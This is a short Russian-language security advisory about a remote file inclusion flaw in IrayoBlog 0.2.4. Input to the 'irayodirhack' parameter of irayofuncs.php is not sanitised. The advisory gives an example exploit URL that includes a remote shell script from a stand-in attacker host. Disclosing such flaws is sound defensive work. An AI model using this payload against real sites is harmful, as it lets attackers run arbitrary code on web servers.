Программа: IrayoBlog 0.2.4
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "irayodirhack" сценарием irayofuncs.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://[target]/[path]/inc/irayofuncs.php?irayodirhack=http://evilsite.com/shell?
